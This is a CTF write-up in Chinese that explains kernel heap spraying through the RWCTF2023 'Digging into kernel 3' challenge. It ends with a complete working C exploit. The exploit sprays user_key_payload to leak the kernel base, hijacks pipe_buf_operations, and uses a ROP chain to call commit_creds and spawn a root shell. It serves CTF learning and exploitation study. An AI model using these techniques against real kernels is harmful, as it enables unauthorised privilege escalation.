Heap Spray¶

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堆喷射（heap spraying）指的是一种辅助攻击手法：「通过大量分配相同的结构体来达成某种特定的内存布局，从而帮助攻击者完成后续的利用过程」，常见于如下场景：

你有一个 UAF，但是你无法通过少量内存分配拿到该结构体（例如该 object 不属于当前 freelist 且释放后会回到 node 上，或是像 add_key() 那样会被一直卡在第一个临时结构体上），这时你可以通过堆喷射来确保拿到该 object。
你有一个堆溢出读/写，但是堆布局对你而言是不可知的（比如说开启了 SLAB_FREELIST_RANDOM（默认开启）），你可以预先喷射大量特定结构体，从而保证对其中某个结构体的溢出。
......

作为一种辅助的攻击手法，堆喷射可以被应用在多种场景下。

例题：RWCTF2023体验赛 - Digging into kernel 3¶

本篇为了介绍堆喷射这一手法，同时为了使用更多不同的结构体，笔者会用比较复杂的思路去解题。

题目分析¶

按惯例查看启动脚本，发现开启了 SMEP、SMAP、KASLR、KPTI：

#!/bin/sh

qemu-system-x86_64 \
    -m 128M \
    -nographic \
    -kernel ./bzImage \
    -initrd ./rootfs.img \
    -enable-kvm \
    -cpu kvm64,+smap,+smep \
    -monitor /dev/null \
    -append 'console=ttyS0 kaslr kpti=1 quiet oops=panic panic=1 init=/init' \
    -no-reboot \
    -snapshot \
    -s

文件系统里给了一个 rwctf.ko ，拖入 IDA 进行分析，发现只定义了一个 ioctl，提供了两个功能：

0xDEADBEEF：分配一个任意大小的 object 并能写入数据，分配 flag 为 __GFP_ZERO | GFP_KERNEL，不过我们只能同时有两个 object。
0xC0DECAFE：释放一个之前分配的 object ，存在 UAF。

我们需要传入如下结构体：

struct node {
    uint32_t idx;
    uint32_t size;
    void *buf;
};

经过笔者测试，出题人手动关闭了如下默认开启的保护（出题人为了降低题目难度，可能关的更多，笔者只测了这几个）：

关闭了 CONFIG_MEMCG_KMEM，这使得GFP_KERNEL 与 GFP_KERNEL_ACCOUNT 会从同样的 kmalloc-xx 中进行分配
关闭了 CONFIG_RANDOMIZE_KSTACK_OFFSET，这使得固定函数调用到内核栈底的偏移值是不变的
关闭了 SLAB_FREELIST_HARDENED，这使得 freelist 几乎没有任何保护，我们可以轻易完成任意地址分配 + 任意地址读写

不过在笔者看来 出题人其实没有必要自降难度 ，下面笔者将给出在这三种保护开启时也能完成利用的方法：）

漏洞利用¶

既然题目中已经直接白给出了一个无限制的 UAF，那么利用方式就是多种多样的了，这里笔者选择使用 user_key_payload 来完成利用。

Step.I - 堆喷 user_key_payload 越界读泄露内核基地址¶

在内核当中存在一个用于密钥管理的子系统，内核提供了 add_key() 系统调用进行密钥的创建，并提供了 keyctl() 系统调用进行密钥的读取、更新、销毁等功能：

        #include <sys/types.h>
        #include <keyutils.h>

        key_serial_t add_key(const char *type, const char *description,
                                    const void *payload, size_t plen,
                                    key_serial_t keyring);
//...
       #include <asm/unistd.h>
       #include <linux/keyctl.h>
       #include <unistd.h>

       long syscall(__NR_keyctl, int operation, __kernel_ulong_t arg2,
                    __kernel_ulong_t arg3, __kernel_ulong_t arg4,
                    __kernel_ulong_t arg5);

当我们调用 add_key() 分配一个带有 description 字符串的、类型为 "user" 的、长度为 plen 的内容为 payload 的密钥时，内核会经历如下过程：

首先会在内核空间中分配 obj 1 与 obj2，分配 flag 为 GFP_KERNEL，用以保存 description （字符串，最大大小为 4096）、payload （普通数据，大小无限制）
分配 obj3 保存 description ，分配 obj4 保存 payload，分配 flag 皆为 GFP_KERNEL
释放 obj1 与 obj2，返回密钥 id

其中 obj4 为一个 user_key_payload 结构体，定义如下：

struct user_key_payload {
    struct rcu_head rcu;        /* RCU destructor */
    unsigned short  datalen;    /* length of this data */
    char        data[] __aligned(__alignof__(u64)); /* actual data */
};

//...

struct callback_head {
    struct callback_head *next;
    void (*func)(struct callback_head *head);
} __attribute__((aligned(sizeof(void *))));
#define rcu_head callback_head

类似于 msg_msg，user_key_payload 结构体有着一个固定大小的头部，其余空间用来存储来自用户空间的数据（密钥内容）。

keyctl() 系统调用为我们提供了读取、更新（分配新对象，释放旧对象）、销毁密钥（释放 payload）的功能，其中读取的最大长度由 user_key_payload->datalen 决定，我们不难想到的是我们可以利用题目提供的 UAF 将user_key_payload->datalen 改大，从而完成越界读。

注意以下两点：

这里我们的 description 字符串需要和 payload 有着不同的长度，从而简化利用模型。
读取 key 时的 len 应当不小于 user_key_payload->datalen，否则会读取失败。

但是这里有一个问题：add_key() 会先分配一个临时的 obj1 拷贝 payload 后再分配一个 obj2 作为 user_key_payload，若我们先分配一个 obj 并释放后再调用 add_key() 则该 obj 不会直接成为 user_key_payload ，而是会在后续的数次分配中都作为拷贝 payload 的临时 obj 存在。

但我们可以通过堆喷将 UAF obj 分配到 user_key_payload，考虑如下流程：

利用题目功能构建 UAF object。
堆喷射 user_key_payload ，UAF obj 作为拷贝 payload 的临时 obj 存在。
kmem_cache_cpu 的 slub page 耗光，向 node 请求新的 slub page 分配 user_key_payload ，完成后 UAF obj 被释放并回到 kmem_cache_node。
继续堆喷 user_key_payload ，kmem_cache_cpu 的 slub page 耗光，向 node 请求新的 slub page 分配 user_key_payload 。
UAF obj 所在页面被取回，UAF obj 被分配为 user_key_payload 。
利用题目功能再次释放 UAF obj，利用题目功能进行堆喷获取到该 obj，从而覆写 user_key_payload 。

注：官方题解中进行地址泄露也是利用类似的做法。

不过笔者觉得其实直接利用题目分配 obj1 和 obj2 后全部释放，之后再在 obj2 上弄 UAF 就行了：) 这里采用这种做法只是为了介绍 heap spraying 这一手法。

笔者将在 Step.II 中使用这种方法。

接下来我们考虑越界读取什么数据，这里我们并不需要分配其他的结构体， rcu_head->func 函数指针在 rcu 对象被释放后才会被写入并调用，但调用完并不会将其置为 NULL，因此我们可以通过释放密钥的方式在内核堆上留下内核函数指针，从而完成内核基址的泄露。

Step.II - UAF 泄露可控堆对象地址，篡改 pipe_buffer 劫持控制流¶

可以用来控制内核执行流的结构体有很多，但是我们需要考虑如何完整地执行 commit_creds(prepare_kernel_cred(NULL)) 后再成功返回用户态，因此我们需要进行栈迁移以布置较为完整的 ROP gadget chain。

由于题目开启了 SMEP、SMAP 保护，因此我们只能在内核空间伪造函数表，同时内核中的大部分结构体的函数表为静态指定（例如 tty->ops 总是 ptm（或pty）_unix98_ops），因此我们还需要知道一个内容可控的内核对象的地址，从而在内核空间中伪造函数表。

这里笔者选择管道相关的结构体完成利用；在内核中，管道本质上是创建了一个虚拟的 inode 来表示的，对应的就是一个 pipe_inode_info 结构体：

struct pipe_inode_info {
    struct mutex mutex;
    wait_queue_head_t rd_wait, wr_wait;
    unsigned int head;
    unsigned int tail;
    unsigned int max_usage;
    unsigned int ring_size;
#ifdef CONFIG_WATCH_QUEUE
    bool note_loss;
#endif
    unsigned int nr_accounted;
    unsigned int readers;
    unsigned int writers;
    unsigned int files;
    unsigned int r_counter;
    unsigned int w_counter;
    struct page *tmp_page;
    struct fasync_struct *fasync_readers;
    struct fasync_struct *fasync_writers;
    struct pipe_buffer *bufs;
    struct user_struct *user;
#ifdef CONFIG_WATCH_QUEUE
    struct watch_queue *watch_queue;
#endif
};

同时内核中会分配一个 pipe_buffer 结构体数组，每个 pipe_buffer 结构体对应一张用以存储数据的内存页：

struct pipe_buffer {
    struct page *page;
    unsigned int offset, len;
    const struct pipe_buf_operations *ops;
    unsigned int flags;
    unsigned long private;
};

pipe_buf_operations 为一张函数表，当我们对管道进行特定操作时内核便会调用该表上对应的函数，例如当我们关闭了管道的两端时，会触发 pipe_buffer->pipe_buffer_operations->release 这一指针，由此我们便能控制内核执行流，从而完成提权。

struct pipe_buf_operations {
    //...

    /*
     * When the contents of this pipe buffer has been completely
     * consumed by a reader, ->release() is called.
     */
    void (*release)(struct pipe_inode_info *, struct pipe_buffer *);

那么这里我们可以利用 UAF 使得 user_key_payload 与 pipe_inode_info 占据同一个 object， pipe_inode_info 刚好会将 user_key_payload->datalen 改为 0xFFFF 使得我们能够继续读取数据，从而读取 pipe_inode_info 以泄露出 pipe_buffer 的地址。

而 pipe_buffer 是动态分配的，因此我们可以利用题目功能预先分配一个对象作为 pipe_buffer 并直接在其上伪造函数表即可。

对于笔者来说比较麻烦的倒是找栈迁移的 gadget...好在最后还是成功找到了一些合适的 gadget。

EXPLOIT¶

最后的 exp 如下：

#define _GNU_SOURCE
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <sys/wait.h>
#include <stdio.h>
#include <signal.h>
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <ctype.h>
#include <stdint.h>

/**
 * Utilities
 */

size_t kernel_base = 0xffffffff81000000, kernel_offset = 0;

void err_exit(char *msg)
{
    printf("\033[31m\033[1m[x] Error at: \033[0m%s\n", msg);
    sleep(5);
    exit(EXIT_FAILURE);
}

/* root checker and shell poper */
void get_root_shell(void)
{
    if(getuid()) {
        puts("\033[31m\033[1m[x] Failed to get the root!\033[0m");
        sleep(5);
        exit(EXIT_FAILURE);
    }

    puts("\033[32m\033[1m[+] Successful to get the root. \033[0m");
    puts("\033[34m\033[1m[*] Execve root shell now...\033[0m");

    system("/bin/sh");

    /* to exit the process normally, instead of segmentation fault */
    exit(EXIT_SUCCESS);
}

/* userspace status saver */
size_t user_cs, user_ss, user_rflags, user_sp;
void save_status()
{
    asm volatile("mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
    );

    puts("\033[34m\033[1m[*] Status has been saved.\033[0m");
}

/* bind the process to specific core */
void bind_core(int core)
{
    cpu_set_t cpu_set;

    CPU_ZERO(&cpu_set);
    CPU_SET(core, &cpu_set);
    sched_setaffinity(getpid(), sizeof(cpu_set), &cpu_set);

    printf("\033[34m\033[1m[*] Process binded to core \033[0m%d\n", core);
}

/**
 * Syscall keyctl() operator
 */

#define KEY_SPEC_PROCESS_KEYRING -2 /* - key ID for process-specific keyring */
#define KEYCTL_UPDATE           2   /* update a key */
#define KEYCTL_REVOKE           3   /* revoke a key */
#define KEYCTL_UNLINK           9   /* unlink a key from a keyring */
#define KEYCTL_READ             11  /* read a key or keyring's contents */

int key_alloc(char *description, void *payload, size_t plen)
{
    return syscall(__NR_add_key, "user", description, payload, plen, 
                   KEY_SPEC_PROCESS_KEYRING);
}

int key_update(int keyid, void *payload, size_t plen)
{
    return syscall(__NR_keyctl, KEYCTL_UPDATE, keyid, payload, plen);
}

int key_read(int keyid, void *buffer, size_t buflen)
{
    return syscall(__NR_keyctl, KEYCTL_READ, keyid, buffer, buflen);
}

int key_revoke(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_REVOKE, keyid, 0, 0, 0);
}

int key_unlink(int keyid)
{
    return syscall(__NR_keyctl, KEYCTL_UNLINK, keyid, KEY_SPEC_PROCESS_KEYRING);
}

/**
 * Challenge interactiver
 */

/* kmalloc-192 has only 21 objects on a slub, we don't need to spray to many */
#define KEY_SPRAY_NUM 40

#define PIPE_INODE_INFO_SZ 192
#define PIPE_BUFFER_SZ 1024

#define USER_FREE_PAYLOAD_RCU 0xffffffff813d8210
#define PREPARE_KERNEL_CRED 0xffffffff81096110
#define COMMIT_CREDS 0xffffffff81095c30
#define SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE 0xffffffff81e00ed0

#define PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250c9d
#define POP_RBX_POP_RBP_POP_R12_RET 0xffffffff81250ca4
#define POP_RDI_RET 0xffffffff8106ab4d
#define XCHG_RDI_RAX_DEC_STH_RET 0xffffffff81adfc70

int dev_fd;

struct node {
    uint32_t idx;
    uint32_t size;
    void *buf;
};

/**
 * @brief allocate an object bby kmalloc(size, __GFP_ZERO | GFP_KERNEL )
 * __GFP_RECLAIM = __GFP_KSWAPD_RECLAIM | __GFP_DIRECT_RECLAIM 
 * GFP_KERNEL = __GFP_RECLAIM | __GFP_IO | __GFP_FS
 * 
 * @param idx 
 * @param size 
 * @param buf 
 */
void alloc(uint32_t idx, uint32_t size, void *buf)
{
    struct node n = {
        .idx = idx,
        .size = size,
        .buf = buf,
    };

    ioctl(dev_fd, 0xDEADBEEF, &n);
}

void del(uint32_t idx)
{
    struct node n = {
        .idx = idx,
    };

    ioctl(dev_fd, 0xC0DECAFE, &n);
}

/**
 * Exploit stage
 */

int main(int argc, char **argv, char **envp)
{
    size_t *buf, pipe_buffer_addr;
    int key_id[KEY_SPRAY_NUM], victim_key_idx = -1, pipe_key_id;
    char desciption[0x100];
    int pipe_fd[2];
    int retval;

    /* fundamental works */
    bind_core(0);
    save_status();

    buf = malloc(sizeof(size_t) * 0x4000);

    dev_fd = open("/dev/rwctf", O_RDONLY);
    if (dev_fd < 0) {
        err_exit("FAILED to open the /dev/rwctf file!");
    }

    /* construct UAF on user_key_payload */
    puts("[*] construct UAF obj and spray keys...");
    alloc(0, PIPE_INODE_INFO_SZ, buf);
    del(0);

    for (int i = 0; i < KEY_SPRAY_NUM; i++) {
        snprintf(desciption, 0x100, "%s%d", "arttnba", i);
        key_id[i] = key_alloc(desciption, buf, PIPE_INODE_INFO_SZ - 0x18);
        if (key_id[i] < 0) {
            printf("[x] failed to alloc %d key!\n", i);
            err_exit("FAILED to add_key()!");
        }
    }

    del(0);

    /* corrupt user_key_payload's header */
    puts("[*] corrupting user_key_payload...");

    buf[0] = 0;
    buf[1] = 0;
    buf[2] = 0x2000;

    for (int i = 0; i < (KEY_SPRAY_NUM * 2); i++) {
        alloc(0, PIPE_INODE_INFO_SZ, buf);
    }

    /* check for oob-read and leak kernel base */
    puts("[*] try to make an OOB-read...");

    for (int i = 0; i < KEY_SPRAY_NUM; i++) {
        if (key_read(key_id[i], buf, 0x4000) > PIPE_INODE_INFO_SZ) {
            printf("[+] found victim key at idx: %d\n", i);
            victim_key_idx = i;
        } else {
            key_revoke(key_id[i]);
        }
    }

    if (victim_key_idx == -1) {
        err_exit("FAILED at corrupt user_key_payload!");
    }

    kernel_offset = -1;
    for (int i = 0; i < 0x2000 / 8; i++) {
        if (buf[i] > kernel_base && (buf[i] & 0xfff) == 0x210) {
            kernel_offset = buf[i] - USER_FREE_PAYLOAD_RCU;
            kernel_base += kernel_offset;
            break;
        }
    }

    if (kernel_offset == -1) {
        err_exit("FAILED to leak kernel addr!");
    }

    printf("\033[34m\033[1m[*] Kernel offset: \033[0m0x%lx\n", kernel_offset);
    printf("\033[32m\033[1m[+] Kernel base: \033[0m0x%lx\n", kernel_base);

    /* construct UAF on pipe_inode_buffer to leak pipe_buffer's addr */
    puts("[*] construct UAF on pipe_inode_info...");

    /* 0->1->..., the 1 will be the payload object */
    alloc(0, PIPE_INODE_INFO_SZ, buf);
    alloc(1, PIPE_INODE_INFO_SZ, buf);
    del(1);
    del(0);

    pipe_key_id = key_alloc("arttnba3pipe", buf, PIPE_INODE_INFO_SZ - 0x18);
    del(1);

    /* this object is for the pipe buffer */
    alloc(0, PIPE_BUFFER_SZ, buf);
    del(0);

    pipe(pipe_fd);

    /* note that the user_key_payload->datalen is 0xFFFF now */
    retval = key_read(pipe_key_id, buf, 0xffff);
    pipe_buffer_addr = buf[16]; /* pipe_inode_info->bufs */
    printf("\033[32m\033[1m[+] Got pipe_buffer: \033[0m0x%lx\n", 
            pipe_buffer_addr);

    /* construct fake pipe_buf_operations */
    memset(buf, 'A', sizeof(buf));

    buf[0] = *(size_t*) "arttnba3";
    buf[1] = *(size_t*) "arttnba3";
    buf[2] = pipe_buffer_addr + 0x18;  /* pipe_buffer->ops */
    /* after release(), we got back here */
    buf[3] = kernel_offset + POP_RBX_POP_RBP_POP_R12_RET;
    /* pipe_buf_operations->release */
    buf[4] = kernel_offset + PUSH_RSI_POP_RSP_POP_RBX_POP_RBP_POP_R12_RET;
    buf[5] = *(size_t*) "arttnba3";
    buf[6] = *(size_t*) "arttnba3";
    buf[7] = kernel_offset + POP_RDI_RET;
    buf[8] = (size_t) NULL;
    buf[9] = kernel_offset + PREPARE_KERNEL_CRED;
    buf[10] = kernel_offset + XCHG_RDI_RAX_DEC_STH_RET;
    buf[11] = kernel_offset + COMMIT_CREDS;
    buf[12] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 0x31;
    buf[13] = *(size_t*) "arttnba3";
    buf[14] = *(size_t*) "arttnba3";
    buf[15] = (size_t) get_root_shell;
    buf[16] = user_cs;
    buf[17] = user_rflags;
    buf[18] = user_sp + 8; /* system() wants it : ( */
    buf[19] = user_ss;

    del(0);
    alloc(0, PIPE_BUFFER_SZ, buf);

    /* trigger pipe_buf_operations->release */
    puts("[*] trigerring pipe_buf_operations->release()...");

    close(pipe_fd[1]);
    close(pipe_fd[0]);

    return 0;
}

REFERENCE¶

【PWN.0x00】Linux Kernel Pwn I：Basic Exploit to Kernel Pwn in CTF

【PWN.0x02】Linux Kernel Pwn II：常用结构体集合